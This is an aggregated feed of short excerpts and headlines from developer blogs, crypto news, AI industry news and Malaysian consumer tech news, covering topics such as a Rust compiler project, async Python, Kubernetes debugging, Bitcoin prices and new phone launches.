    Building a compiler is often seen as one of the "final bosses" of computer science. It's complex, requires deep knowledge of architecture, and usually involves wrestling with C++. But what if we could build a simple, modern, modular compiler infrastructure using Rust? Meet Lamina. Lamina is a general-purpose compiler infrastructure that I've been building from scratch. Think of it as a lightweight, Rust-native alternative to LLVM. It takes a Readable Intermediate Representation (IR), optimizes it, and generates efficient machine code for multiple architectures. I started this project to build a playground for experimenting with compiler optimizations and code-generation techniques. Lamina is trying to support as many targets as possible(since I own a few machines with different arch and O…  ( 7 min )
    Multi-Location Dental Integration: Why My “I’ll Just Build It Myself” Plan Imploded
    Look, I get it. I saw a messy multi location dental PMS and thought, I can slay this dragon. I’ve merged PRs at 3am that saved production from total collapse. How hard could a few dental systems be? What I thought was a dragon was actually a hydra whose heads each ran a different PMS, with different schemas, timezones, identity models, and philosophical beliefs about how appointments should exist. And I, the sweet summer child that I was, thought I could unify it all. If you’re somewhere in that same fight right now, consider this your field guide, written by someone who learned every lesson the hard way. Every doomed journey begins with something deceptively functional. I genuinely thought every location would look like this. That was adorable. { "code": false, "description": "Desc…  ( 11 min )
    Svelte SEO: Meta Tag Manager for Search and Social
    Svelte SEO: a powerful and easy-to-use package designed to optimize your Svelte app for search engines and social media. If you need to manage SEO metadata across a SvelteKit project, this package handles the configuration: 🔧 Title, description, and canonical URL management Set defaults in your layout and override per page. Works with static generation and handles all the meta tag specifications so you can focus on content. 👉 Blog Post 👉 GitHub Repo  ( 6 min )
    File Storage vs CDN for Startup Economics
    For startups, every decision affects speed, scalability, and the bottom line. Choosing between CDN vs File Storage can feel like a tug-of-war between performance and cost. The truth? Both play vital roles — but in very different ways. While one stores your data securely, the other delivers it to users worldwide faster. Understanding how each works can save startups from paying for the wrong kind of performance. The right balance can mean smoother user experiences and lower infrastructure bills. That’s where Filestack comes in. With powerful tools for file uploading, storage, and global delivery, it helps startups optimize both ends — storage and speed — without breaking the budget. Let’s explore how these two technologies differ and how your startup can get the best of both worlds. Key tak…  ( 14 min )
    Social impact media: feedback on how to stop doomscrolling
    Core idea: Instead of just scrolling, social media users make verified actions that solve real problems (college debt, loneliness, media clickbait fueling rage, etc.) while brands pay premium advertising fees for measurable outcomes and the social media platform takes a platform fee. For example: OPERATION RENAISSANCE: Social media user connects their MOOC account. AI surfaces 2–4 MOOC lessons per day (career-aligned) and one optional sponsored lesson (2–4 min) from Google, Microsoft, Goldman Sachs, AWS, etc. User watches and answers 3 verification questions Earns $6–$8 credit (expires after 12 months). Max 5 sponsored lessons per month on free tier; unlimited on Premium+. Credits auto-apply at partner checkout (no gift-card fallback, zero money-transmitter risk). MAGNETIC: Government-I…  ( 7 min )
    What Modern Python Uses for Async API Calls: HTTPX & TaskGroups
    Multiple API calls in Python are usually written in a way that makes them slow You’ve written before: import requests from requests import Response urls: list[str] = ["https://api.example.com/user/1", "https://api.example.com/user/2", "https://api.example.com/user/3"] for url in urls: response: Response = requests.get(url) print(response.json()) You run it. Request 1 goes out. Wait. Response comes back. Request 2 goes out. Wait… Since these requests process one at a time, it's like sending texts to a friend, then staring at your phone - unblinking, refusing to eat, breathe, or move until they reply 'lol'. Let me show you a better way. A way we can make these 100 requests take as long as your single slowest request. Figure 1: Side-by-side comparison: Sequentia…  ( 11 min )
    AI Specification Driven Development
    Back in October I stood in front of a room of engineers at John Lewis' head office and delivered my presentation on Specification Driven Development. After the talk, lots of people still had questions, so I promised I would share the full playbook. This is that write-up: the hands-on guide to AI Specification Driven Development (SDD) that I lean on every day. I adore the thrill of tossing a single line at Claude and watching a prototype appear. You probably do too. But once the project grows beyond a weekend hack, vibe coding fights back: Natural language is powerful yet quickly tilts into ambiguity when there are multiple contributors (or Future You revisiting the repo six months later). Context drifts fast because AI assistants forget or get confused, or you start working on the next pro…  ( 9 min )
    Source Code Analysis of the Nonlinear Chinese-Style Reporting Engine NopReport
    In daily development, we often need to import and export Excel data, generate Excel and Word reports, etc. Common packages like easyexcel and poi-tl rely on the underlying POI engine, which is bulky and struggles with complex, irregular tables. When creating complex Chinese-style reports, one usually needs to use report engines provided by professional report software companies such as Runqian and FanRuan. Many years ago, Runqian pioneered a nonlinear report generation algorithm that supports symmetric expansion across rows and columns, which later became a leader in commercial reporting software. Subsequent report software like FanRuan has mimicked similar report generation algorithms. The NopReport reporting engine offers a very lightweight open-source implementation (about 3,000 lines o…  ( 15 min )
    Open-source Chinese-style reporting engine using Excel as the designer: NopReport
    Chinese-style reports are synonymous with complex-structure reports. They broadly refer to summary reports commonly found in domestic information systems, presenting multi-source data in the form of row-column cross-tabulation, multi-level headers, and free cell splitting/merging. Why is there the notion of "Chinese-style reports" The founder of Raqsoft Report, Bu-xing Jiang, is a legendary figure inscribed in Chinese history (the first Chinese gold medalist in the International Mathematical Olympiad, from Shihezi, Xinjiang; see Prof. Gu Xianfeng’s recollection). He invented the theoretical foundations of the Chinese-style report model and led a whole generation of reporting software technology trends. Currently, commercial reporting tools in China all support Chinese-style report producti…  ( 13 min )
    shadcn-components-blocks: 100+ UI Components for React/Next.js
    shadcn-components-blocks adds over 100 production-ready components to your shadcn/ui projects. Key features: Check the documentation site to browse the full catalog and grab the installation commands for components and blocks you need. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    DevConnect 2025
    DevConnect is Ethereum’s annual week of deep-dive community events. in 2025, it took place in Buenos Aires - the region where crypto actually runs day-to-day finance. I’ve broken it down to the structural takeaways, so you can see where ETHereum is heading now: privacy returns to the core newly presented Kohaku (modular tooling for privacy-preserving wallets), and Tor/onion services show that Ethereum is reinforcing privacy at the protocol edge, treating user protection as priority infrastructure. zero-knowledge for everyone ZK tooling is no longer limited to cryptographers. developers are already integrating proofs into wallets and cross-ecosystem transfers - meaning ZK is becoming part of the standard development stack. security evolves into a full-stack discipline audits are still necessary, but no longer central. teams now focus on threat modeling, chain-split scenarios, monitoring, and architecture weaknesses - the real attack surface. L1 strengthens its role, L2 carries the throughput bigger gas limits are being considered, L2s handle the speed, and Ethereum continues its slow march toward ossification. the ecosystem is aligning around durability first, convenience second... cross-chain UX to be finally fixed the new Ethereum Interop Layer aims to let users act across rollups without switching networks. One signature, multiple chains. I hope Ethereum's direction has now become clearer for you: the project is finally maturing and aligning its roadmap with how people actually use crypto today, not how it was imagined years ago 💭  ( 6 min )
    El conocimiento lingüístico en NLP: el puente entre la sintaxis y la semántica
    La inteligencia artificial moderna ha avanzado enormemente en el procesamiento de lenguaje natural (NLP), pero sigue enfrentándose a una pregunta esencial: ¿entienden las máquinas el lenguaje o simplemente lo imitan? Aquí entra en juego el conocimiento lingüístico, el conjunto de reglas, estructuras y significados que los humanos utilizamos para comunicarnos de manera coherente. Durante décadas, el NLP se apoyó en la lingüística tradicional. Los sistemas estaban construidos sobre gramáticas, parsers y reglas sintácticas, reflejando una comprensión estructural del idioma. Sin embargo, con la llegada del aprendizaje profundo, este enfoque dio paso a modelos basados en datos masivos. Las redes neuronales comenzaron a inferir patrones estadísticos, sin depender explícitamente de la teoría ling…  ( 7 min )
    Linguistic Knowledge in NLP: bridging syntax and semantics
    Modern artificial intelligence has made tremendous progress in natural language processing (NLP), yet it still faces a profound question: do machines truly understand language, or are they simply mimicking it? This is where linguistic knowledge comes into play — the set of rules, structures, and meanings humans use to communicate coherently. For decades, NLP was grounded in traditional linguistics. Early systems relied on grammars, parsers, and syntactic rules, reflecting a structured understanding of language. However, with the rise of deep learning, this approach gave way to data-driven models. Neural networks began to infer statistical patterns, bypassing explicit linguistic theory. Today, models like BERT, GPT, and Gemini seem to grasp meaning. Yet they do so implicitly — by learning a…  ( 7 min )
    Fedora 43 Post-Install Guide: 10 Essential Things to Do After Installing
    Unlock the full potential of your new Fedora Workstation with these essential optimization steps, tested directly on our engineering lab hardware. Congratulations on installing Fedora 43! You are now running one of the most advanced Linux operating systems available in late 2025. With the full transition to DNF5 as the default package manager and the polished GNOME 49 desktop environment, the experience is faster and smoother than ever. However, Fedora adheres strictly to open-source principles, which means it ships without proprietary codecs, drivers, or certain popular software out of the box. As an engineer who relies on my workstation for everything from coding to multimedia, I consider a fresh installation “incomplete” until I’ve run through a specific set of configuration steps. D…  ( 9 min )
    The developers who win the AI era will not be the ones who chase hype. And if we don’t talk about it, more developers will burn out, stall their careers, or build the wrong things.
    The Hidden Cost of AI Hype in Developer Communities Jaideep Parashar ・ Nov 26 #webdev #ai #devops #developer  ( 7 min )
    Surgical Precision with AI: A New Era in Lung Cancer Staging
    Surgical Precision with AI: A New Era in Lung Cancer Staging Imagine the anxiety of waiting for a lung cancer diagnosis, compounded by the uncertainty of accurate staging. Misdiagnosis can lead to inappropriate treatment, impacting patient outcomes and quality of life. But what if AI could provide a more precise, transparent, and reliable staging process? We're entering a new era where AI doesn't just classify images; it understands anatomy. The core concept is a hybrid approach: using deep learning for precise image segmentation, then applying rule-based clinical knowledge for staging. Think of it like a master carpenter who not only identifies the wood but also meticulously measures and shapes it according to a detailed blueprint. Instead of treating a tumor as a mere pattern to be rec…  ( 7 min )
    The Hidden Cost of AI Hype in Developer Communities
    The AI world is moving fast, too fast, sometimes. On the surface, this looks exciting. Developer communities are absorbing a dangerous, invisible cost, the cost of constant hype. And if we don’t talk about it, more developers will burn out, stall their careers, or build the wrong things. Let me break down what’s actually going wrong. 1. Hype Creates Unrealistic Expectations for Developers Every few days, someone claims: “This model writes perfect code.” “You don’t need developers anymore.” “Just prompt it.” “This tool can build a full app automatically.” But real-world AI isn’t like demo-world AI. When developers trust the hype too much, they face: broken outputs inconsistent results hallucinated logic unpredictable edge cases impossible integrations debugging nightmares architectural trad…  ( 10 min )
    I Built an Open-Source Tool for Debugging Kubernetes Agentically
    TLDR Built an open-source tool called Kubently that lets you troubleshoot Kubernetes clusters through natural conversation with any major LLM. ~50ms command delivery, read-only by default, works on any K8s cluster (EKS, GKE, AKS, bare metal), multi-cluster from day one. Docs: https://kubently.io GitHub: https://github.com/kubently/kubently The Problem If you've spent any time debugging Kubernetes, you know the drill: kubectl get pods -n production kubectl describe pod some-pod-name-7f8b9c6d5-x2k4m kubectl logs some-pod-name-7f8b9c6d5-x2k4m kubectl get events -n production --sort-by='.lastTimestamp' # repeat forever The output is verbose. The debugging is manual. You're constantly context-switching between terminal, docs, and whatever monitoring tool you're using. Now mult…  ( 7 min )
    The measure of a system’s truth is how much it reduces without losing power.
    What we built is not nothing. It is the minimum viable representation of identity That’s why it feels like: You didn’t reduce complexity This is what great systems look like. .me namespaces and .me cleaker.me() That is self-referential, f: me → / Syntax: Transport: /  ( 6 min )
    Don't get scammed on an interview.
    So… I just went through two “interviews” that turned out to be scams. Both followed the same playbook: they gave me a repo link, told me to share my screen, and asked me to install + run the project during the call. On a first interview. That alone feels off, right? But these scammers have gotten smarter. They’ll do the whole friendly intro, talk about the company, show you a project, ask about your past work — the whole thing feels legit until suddenly you’re the one walking them through a repo on your machine. Luckily, I had a gut feeling something wasn’t right. I isolated everything, sandboxed the repo, and ended up finding a bunch of red flags… including a hidden script or a fake MetaMask popup that looked exactly like the real extension. The worst thing is that while I already knew t…  ( 15 min )
    Detecting User Frustration: Understanding rage clicks and session replay
    Originally published in the LaunchDarkly Docs Part 1 of 3: Rage Click Detection with LaunchDarkly The holidays are around the corner and with it comes the expected uptick in traffic, and as traffic increases the need to preserve user experience becomes that much more imperative. You can ship out a new feature, everything seems to be going as planned, and then all of a sudden you start to see a spike in support tickets. The error logs aren’t helpful or show nothing and the metrics look fine. So, what happened? In this three-part series, we'll explore how LaunchDarkly's session replay and observability features help you detect, diagnose, and fix user experience issues in real-time. Part 1 covers the fundamentals: what rage clicks are, how to detect them, and how to get started with session …  ( 13 min )
  • Open

    How to Build an AI-Driven Search Experience using Meilisearch
    Search is one of the most important features in modern applications. Users expect instant answers, useful suggestions, and results that match their intent even when they make spelling mistakes. Most traditional search systems struggle to deliver thi...  ( 7 min )
    Theming and Customization in Flutter: A Handbook for Developers
    Design is not just about how something looks. In product engineering, design shapes how an experience feels, how users interact with it, and how consistently the brand comes alive across every screen. Flutter provides powerful tools for this, but tru...  ( 21 min )
  • Open

    New UAE Sweeping Banking Decree Looks to Cement Country’s Global Crypto Position
    UAE’s new financial law brings crypto and blockchain into traditional finance and under Central Bank’s supervision.
    APT Trades Little Changed, Undeperforms Wider Crypto Market Rally
    The token has support around the $2.16 level and resistance at $2.31.
    Nasdaq ISE Files to Lift BlackRock IBIT Option Limits Into Top Tier Status
    Filing comes amid rapid growth in IBIT options activity and a migration of open interest toward US regulated venues.
    House Democrats Issue Report Detailing Trump Crypto Ties as 'New Age of Corruption'
    Democratic staff on the House Judiciary Committee gathered data on President Donald Trump's crypto businesses that reportedly gained his family massive wealth.
    Bitcoin Retakes $90K in Break From Typical Pre-Thanksgiving Price Action
    Just when traders got used to price declines on the Wednesday ahead of Turkey Day, bitcoin pulled a reversal higher.
    XLM Edges Higher 2.6% to $0.25 as U.S. Bank Tests Stablecoin Pilot
    Major banking institution selects XLM network for programmable digital currency pilot program
    Hedera Jumps 1% Breaking Through $0.143 Resistance
    Institutional accumulation drives HBAR above key technical levels as futures launch approaches.
    DeFi’s $55B Plunge Isn’t the Disaster It Looks Like
    Despite a sharp $55 billion decline in total value locked since October, the DeFi sector remains structurally strong, with rising DEX activity and steadily growing protocol fundamentals.
    S&P Downgrades Tether's USDT, Citing Falling Bitcoin Prices as Risk
    The ratings agency cited bitcoin's rising share in the stablecoin reserves, making USDT vulnerable to falling prices.
    Crypto Long & Short: The Striking Dichotomy in DeFi Tokens Post 10/10
    In this week’s Crypto Long & Short Newsletter, Martin Gaspar shares a snapshot of where we are post 10/10 and where potential opportunities from dislocations may lie. Then, we take a look at investor sentiment in the wake of the relentless market selloff — confusion, resolve and humility — with Andy Baehr’s “Vibe Check.
    Crypto Market Maker Portofino Said to Be Hit by Another Wave of Staff Departures
    The company's chief revenue officer and chief of staff both recently left the firm, according to a source.
    Crypto Bottoming Signs? FT Drops Trifecta of Bitcoin Gloom on Wednesday
    As British taxes have been hiked once again, the U.K.-based publication took a victory lap on bitcoin's recent struggles.
    Bitcoin Treasury Firm DDC Jumps 22% as Company Adds 100 BTC to Treasury During Market Pullback
    The fresh bitcoin purchase lifts holdings to 1,183 BTC as management emphasizes disciplined long term strategy.
    The Protocol: Monad Airdrop + Blockchain Go Live
    Also: Celestia’s Matcha Upgrade, Fidelity on Fusaka and World’s New Payroll Pilot.
    Grayscale Files to List First Zcash ETF in the U.S. Amid 1,000% Rally
    The crypto asset manager is converting its Zcash Trust into a spot ETF, betting on rising demand for privacy coins as ZEC outpaces BTC and ETH.
    Robinhood Makes Prediction Market Push With Purchase of Former FTX Platform LedgerX
    Wall Street research firm Bernstein said the move — which Robinhood made in conjunction with market-making giant SIG — raises the stakes for competitors like Polymarket and Kalshi.
    CoinDesk 20 Performance Update: Only Bitcoin Cash (BCH) Gains, Up 2.8%
    Internet Computer (ICP) fell 3.4% and Litecoin (LTC) dropped 1.7%, leading the index lower. .
    A New Crypto Project Vowed to Transform Stablecoins. Then Its Token Crashed 90%
    The stablecoin infrastructure hopeful is trading nearly 90% below its early peak, with thin usage, supply pressure and sparse communication fueling uncertainty about whether the sell-off has truly run its course.
    Swiss Bank AMINA Trials Google Cloud's Ledger for Instant Payments
    The pilot's goal was to show how banks can use Google’s Universal Ledger to settle fiat payments in real time without new digital currencies.
    Filecoin Rises 1.8% as Storage Token Defies Crypto Weakness
    The decentralized storage protocol showed selective strength while broader digital assets retreated.
    Bitcoin Flashes Reliable Bottom Signal as Short-Term Holders Capitulate
    Analysts note Bitcoin's rebound is tracking U.S. equity strength, with $88,000 as a key threshold to confirm a local bottom.
    Securitize Gets EU Green Light, Plans Tokenized Securities Platform on Avalanche
    The tokenization firm set to run regulated infrastructure to issue and trade tokenized assets across the U.S. and EU.
    Bonds Outshine: Crypto Daybook Americas
    Your day-ahead look for Nov. 26, 2025
    Crypto Markets Today: Altcoins Remain Subdued, MON Surges on Upbit Listing
    Crypto markets held steady Wednesday, remaining in “extreme fear,” with bitcoin unchanged, altcoins muted and Korean traders driving a rare standout rally in newly listed token MON.
    KR1 Stakes 'Blue-Chip' Ambition With London Stock Exchange Debut
    The Isle of Man-based contrasted its active staking and investment strategy with a more passive digital-asset treasury approach.
    Smaller Turkey for Bitcoin Holders as Holiday Price Comes In Lower Year Over Year
    Bitcoin’s Thanksgiving level looks set to trail 2024, echoing prior cooldown years.
    Binance Introduces Bespoke Service for Ultra High-Net-Worth Crypto Investors
    Binance Prestige is a new white glove service targeting wealthy crypto investors and family businesses with assets in the order of around $10 million.
    Ark Adds $9.1M in Circle and Bullish as Crypto Stocks Keep Sliding
    The Nov. 25 buys included $7.6 million in Circle and $1.5 million in Bullish, with both stocks down on the day as BTC trades around $87,500.
    Bitcoin Dip in 2026, Surge in 2028: JPMorgan’s IBIT-Linked Structured Note Fits Halving Cycles
    JPMorgan Chase has introduced a structured note linked to BlackRock's IBIT that matches BTC's four-year halving cycle.
    XRP Tests Crucial $2.20 Pivot After $164M ETF Debut Fails to Offset Liquidations
    Traders should watch for ETF inflows and whale distributions to determine if the $2.20 support will hold.
    Grayscale’s GDOG Debuts Quietly While DOGE Builds Higher Lows
    DOGE is in a bullish consolidation phase, with technical indicators suggesting potential for upward movement if resistance at $0.154 is surpassed.
    Essential Bitcoin Price Points Traders Should Track Now
    Major moving averages on price charts are likely to act as key battlegrounds where bulls and bears fight for control.
    Nevada Just Shattered Prediction Markets’ Favorite Theory in Kalshi Ruling
    Nevada’s ruling says sports outcome contracts on a federally regulated exchange are not swaps, opening the door for state gambling laws to apply.
    Asia Morning Briefing: Asia Wakes Up to an AI BTC-Nvidia Tailwind That’s Already Starting to Sputter
    Yesterday’s Amazon-driven risk rally is colliding with a sharp wobble in Nvidia, putting the AI-BTC-beta trade that lifted crypto back under scrutiny.
  • Open

    A weekend ‘vibe code’ hack by Andrej Karpathy quietly sketches the missing layer of enterprise AI orchestration
    This weekend, Andrej Karpathy, the former director of AI at Tesla and a founding member of OpenAI, decided he wanted to read a book. But he did not want to read it alone. He wanted to read it accompanied by a committee of artificial intelligences, each offering its own perspective, critiquing the others, and eventually synthesizing a final answer under the guidance of a "Chairman." To make this happen, Karpathy wrote what he called a "vibe code project" — a piece of software written quickly, largely by AI assistants, intended for fun rather than function. He posted the result, a repository called "LLM Council," to GitHub with a stark disclaimer: "I’m not going to support it in any way... Code is ephemeral now and libraries are over." Yet, for technical decision-makers across the enterpris…
    Black Forest Labs launches Flux.2 AI image models to challenge Nano Banana Pro and Midjourney
    It's not just Google's Gemini 3, Nano Banana Pro, and Anthropic's Claude Opus 4.5 we have to be thankful for this year around the Thanksgiving holiday here in the U.S. No, today the German AI startup Black Forest Labs released FLUX.2, a new image generation and editing system complete with four different models designed to support production-grade creative workflows. FLUX.2 introduces multi-reference conditioning, higher-fidelity outputs, and improved text rendering, and it expands the company’s open-core ecosystem with both commercial endpoints and open-weight checkpoints. While Black Forest Labs previously launched with and made a name for itself on open source text-to-image models in its Flux family, today's release includes one fully open-source component: the Flux.2 VAE, available no…
    Alibaba's AgentEvolver lifts model performance in tool use by ~30% using synthetic, auto-generated tasks
    Researchers at Alibaba’s Tongyi Lab have developed a new framework for self-evolving agents that create their own training data by exploring their application environments. The framework, AgentEvolver, uses the knowledge and reasoning capabilities of large language models for autonomous learning, addressing the high costs and manual effort typically required to gather task-specific datasets. Experiments show that compared to traditional reinforcement learning–based frameworks, AgentEvolver is more efficient at exploring its environment, makes better use of data, and adapts faster to application environments. For the enterprise, this is significant because it lowers the barrier to training agents for bespoke applications, making powerful, custom AI assistants more accessible to a wider rang…
  • Open

    The Download: AI and the economy, and slop for the masses
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. How AI is changing the economy There’s a lot at stake when it comes to understanding how AI is changing the economy right now. Should we be pessimistic? Optimistic? Or is the situation…  ( 22 min )
    The AI Hype Index: The people can’t get enough of AI slop
    Separating AI reality from hyped-up fiction isn’t always easy. That’s why we’ve created the AI Hype Index—a simple, at-a-glance summary of everything you need to know about the state of the industry. Last year, the fantasy author Joanna Maciejewska went viral (if such a thing is still possible on X) with a post saying “I…  ( 17 min )
  • Open

    Fahmi: Govt Targets Q2 2026 For eKYC Implementation On Social Media
    The government is pushing for all social media platforms operating in Malaysia to adopt electronic Know-Your-Customer (eKYC) verification by the end of the second quarter of 2026, aiming to enforce the minimum age requirement of 16 for new accounts. Communications Minister Fahmi Fadzil instructed the Malaysian Communications and Multimedia Commission (MCMC) to work with platform […] The post Fahmi: Govt Targets Q2 2026 For eKYC Implementation On Social Media appeared first on Lowyat.NET.  ( 34 min )
    POCO Pad X1, Pad M1 Get Global Launch; Priced From RM1,199
    While the POCO F8 Pro and F8 Ultra are the stars of today’s launch event, not to be forgotten are the two new tablets. Both the Pad X1 and the Pad M1 have officially debuted as the newest additions to the brand’s AIoT lineup. The Pad X1 is a lightweight tablet weighing 500g. It sports […] The post POCO Pad X1, Pad M1 Get Global Launch; Priced From RM1,199 appeared first on Lowyat.NET.  ( 36 min )
    POCO F8 Pro Hands On: An Unapologetic All-Rounder
    The newly launched POCO F8 lineup serves as the Xiaomi sub-brand’s flagship offering and comprises two models, which are the F8 Pro and the F8 Ultra. Prior to the launch, we had the opportunity to get acquainted with the Pro variant, which is the subject of today’s hands on. Starting with the design, the F8 […] The post POCO F8 Pro Hands On: An Unapologetic All-Rounder appeared first on Lowyat.NET.  ( 39 min )
    POCO F8 Series Launched Globally; Starts From RM2,499 In Malaysia
    The POCO F8 lineup has officially made its debut today, just as the brand promised last week. Currently, the series consists of two models, which are the F8 Pro and the F8 Ultra. Naturally, the new handsets come with some upgrades compared to the previous generation. Starting with the Pro variant, it sports a 6.59-inch […] The post POCO F8 Series Launched Globally; Starts From RM2,499 In Malaysia appeared first on Lowyat.NET.  ( 37 min )
    Multiple Spottings Of Proton eMAS 7 PHEV Hints An Imminent Launch
    The upcoming Proton eMAS 7 plug-in hybrid (PHEV) has been spotted again in public, signalling that its official debut may be closer than expected. The latest sighting was shared by an anonymous member of the Proton eMas 7 Owners Malaysia Facebook group, who reportedly found the SUV parked in Tanjung Malim , the location of […] The post Multiple Spottings Of Proton eMAS 7 PHEV Hints An Imminent Launch appeared first on Lowyat.NET.  ( 35 min )
    PRISM+ Launches New Roam Smart Displays, SQ QLED TVs
    PRISM+ has recently introduced a slew of new products, ranging from displays to home appliances. Most relevant being the Roam 27-inch smart displays and the updated SQ Series QLED TVs. The Roam and Roam Ultra displays are built around an ergonomic wheeled stand, letting users roll the display between rooms as needed. The Roam 27-inch […] The post PRISM+ Launches New Roam Smart Displays, SQ QLED TVs appeared first on Lowyat.NET.  ( 35 min )
    Qualcomm Officially Announces Snapdragon 8 Gen5
    True to its word, Qualcomm officially pulled back the veil from the Snapdragon 8 Gen5 chipset today. The mobile processor is technically a lesser version of the more powerful Snapdragon 8 Elite Gen5 that was announced near the end of September this year. “Snapdragon 8 Gen5 is an incredibly fast mobile SoC – it features […] The post Qualcomm Officially Announces Snapdragon 8 Gen5 appeared first on Lowyat.NET.  ( 34 min )
    China To Allow Powerbanks With Displays Or Security-Specific Apps Next Year
    The Chinese Ministry of Industry and Information Technology (MIIT) have seemingly decided the future of all powerbanks manufactured in country. Moving forward, it will be mandatory for all powerbanks to have built-in LCD display, or an app that allows officials to check the status and security of the powerbank. According to ITHome (Google Translate required […] The post China To Allow Powerbanks With Displays Or Security-Specific Apps Next Year appeared first on Lowyat.NET.  ( 35 min )
    You Can Now Get The Garmin Venu 4 For RM2,319
    The Garmin Venu 4 got a reveal back in September, along with availability in October. As of today, the smartwatch is now available for purchase from all authorised resellers. As a quick primer, the Venu 4 features a display with sizes ranging from 1.2-inches to 1.4-inches, depending on the face size you choose. Regardless of […] The post You Can Now Get The Garmin Venu 4 For RM2,319 appeared first on Lowyat.NET.  ( 34 min )
    Shell App Integrates BUDI 95 For Easier Fuel Payments
    Shell Malaysia has integrated the BUDI 95 subsidy into its Shell Application, enhancing the convenience of the process of fuelling up your vehicle. With this integration, customers can now use the application to access the subsidy and do not have to bring out their IC to scan at the terminal or inside at the counter […] The post Shell App Integrates BUDI 95 For Easier Fuel Payments appeared first on Lowyat.NET.  ( 37 min )
    Huawei Launches MatePad Edge 2-In-1 Tablet In China
    Huawei has introduced a new addition to its ecosystem, the MatePad Edge 2-in-1, which debuted alongside the Mate X7 and Mate 80 Series in China. This model is positioned squarely as the company’s answer to Microsoft’s Surface lineup; a variable tablet designed to replace your laptop, with added portability. The MatePad Edge 2-in-1 is built […] The post Huawei Launches MatePad Edge 2-In-1 Tablet In China appeared first on Lowyat.NET.  ( 35 min )
    Huawei Mate 80 Series Debuts In China
    Alongside the new Mate X7 flagship foldable, Huawei has also unveiled its Mate 80 series in China, introducing four models: the Mate 80, Mate 80 Pro, Mate 80 Pro Max, and the Mate 80 RS Ultimate Design. The new lineup brings familiar elements from previous Mate releases, notably the variable aperture cameras, along with numerous […] The post Huawei Mate 80 Series Debuts In China appeared first on Lowyat.NET.  ( 37 min )
    MCMC To Stay Sole Regulator Under Online Safety Act
    Earlier this month, Minister in the Prime Minister’s Department (Law and Institutional Reform) Datuk Seri Azalina Othman Said revealed that the government will establish a new Online Safety Committee. Following the Pro Tem Online Safety Committee meeting, the minister asserted that the creation of this committee will not diminish the authority of the Malaysian Communications […] The post MCMC To Stay Sole Regulator Under Online Safety Act appeared first on Lowyat.NET.  ( 34 min )
    Leapmotor Teases Arrival Of New B05 Ultra Variant
    Leapmotor’s executive director and senior vice president, Li Cao, has shared new images of the upcoming Lafa 5 (B05) Ultra variant on his official Weibo page. The standard variant is set to debut on November 28, while the Ultra variant is scheduled for launch in the second quarter of 2026. As reported before, the Ultra […] The post Leapmotor Teases Arrival Of New B05 Ultra Variant appeared first on Lowyat.NET.  ( 33 min )

  • Open

    Day 1274 : From Scratch
    liner notes: Professional : There was an all hands meeting at the start of the day. Responded to some community questions. Spent the rest of the day fine tuning the project using GitHub Codespaces. I've got the loading time down to about 2 minutes consistently. I cleaned up some terminal messages so things won't be so busy and distracting. I also show only the files needed for the project in the file explorer. Did some more niceties to the original application that creates the .zip file that is the input that will kick off the GitHub actions that creates the files that will be used in the Codespace. I did a lot of testing and I think I'm ready to have the other team start to use it for their part. Personal : I tried a few things last night to fix the issues I'm having with this last 3D m…  ( 7 min )
    Monte Carlo Neural Operators: Democratizing Physics Simulations by Arvind Sundararajan
    Monte Carlo Neural Operators: Democratizing Physics Simulations Tired of wrestling with complex Partial Differential Equations (PDEs) to simulate real-world phenomena? Imagine effortlessly predicting fluid flow, heat transfer, or structural behavior without spending hours tweaking traditional numerical solvers. This is where a novel approach based on machine learning, specifically a Monte Carlo-inspired neural operator, changes the game. The core idea revolves around learning a direct mapping from a PDE's input parameters to its solution, sidestepping the need for iterative calculations. This "operator" is implemented as a neural network which doesn't make any assumptions about the underlying structure of the problem, using random samples to estimate the integral representation of the P…  ( 7 min )
    Go full stack web app tutorial with sqlc and htmx. Part 1
    Introduction In this series, that I create for my own learning and enjoyment, I will be building a simple web application using Go, sqlc, goose, htmx, and Tailwind CSS. The goal is to create a responsive and accessible web application that is easy to use and understand. My approach is probably flawed and not robust enough to be valuable for seasoned Go developers. But it is my learning journey, and I hope it will be helpful for others who are just starting out with Go and web development. Tis series will be focused on building a simple web application using Go, HTMX, sqlc with PostgreSQL, goose and Tailwind CSS for styling (I don't know why, but it seems that the fabric of the universe itself demands any web application to have Tailwind nowadays, so here it is). sqlc – Generate type-saf…  ( 14 min )
    New repository engagements page on trendshift.io
    I launched trendshift.io in 2023 as a tool to help discover popular repositories and learn from projects featured on GitHub Trending. Over time, however, I found it increasingly difficult to find the most interesting and newest projects using the existing pages, as they no longer met my evolving expectations. Many great open source projects repeatedly appear on GitHub Trending, but I need a way to surface repositories I haven’t come across yet. Some repositories once trended and were actively maintained for a period before gradually losing momentum. I want to quickly assess whether a repository is still popular, continues to receive contributions, and is actively maintained. Technology evolves rapidly. Sometimes I simply want to find projects created within the last five years, the past ye…  ( 7 min )
    AI's false start
    I don't have to tell you that AI is everywhere. Odds are you're reading this post from a device which has an operating system that has some form of AI integration. If you're on Windows, you've got Microsoft Copilot. If you're on an Apple device, you've got Apple Intelligence - whatever that means right now - and if you're on Android, you probably have Gemini floating around somewhere. But doesn't it feel... underwhelming? It's all the rage for otherwise stale-feeling multi-billion dollar corporations to implement AI wherever they feel it may make money. Sadly, it's causing more harm than good at the moment. We've seen prices for computer hardware skyrocket, vibe coded apps make some truly horrific mistakes, and false information become increasingly hard to dodge. Let's not even talk about …  ( 8 min )
    The Unix Philosophy Was Right All Along: A PIV Analysis of 17 Timeless Rules
    For over 50 years, the Unix philosophy has shaped how we build software. Its principles feel right in a way that transcends trends and languages. But why? In "The Art of Unix Programming," Eric Raymond distilled Unix wisdom into 17 rules. These aren't arbitrary guidelines—they're a coherent system based on one fundamental insight. That insight is the Principle of Independent Variation (PIV). Let me show you why Unix got it right, and why these rules still matter in 2025. The Unix philosophy emerged from the design of Unix at Bell Labs in the 1970s. Its core tenets: Write programs that do one thing well Write programs that work together Write programs that handle text streams, because that is a universal interface These ideas evolved into 17 specific rules documented in Raymond's "The Art o…  ( 22 min )
    Best use of AI 2025.
    I Built an AI-Powered Pokedex with Python & Streamlit (And It's Free!) 🚀 Hoang Manh Cam ・ Nov 23 #python #streamlit #ai #webdev  ( 5 min )
    30 Days of Terraform – Day 1: Introduction to Infrastructure as Code
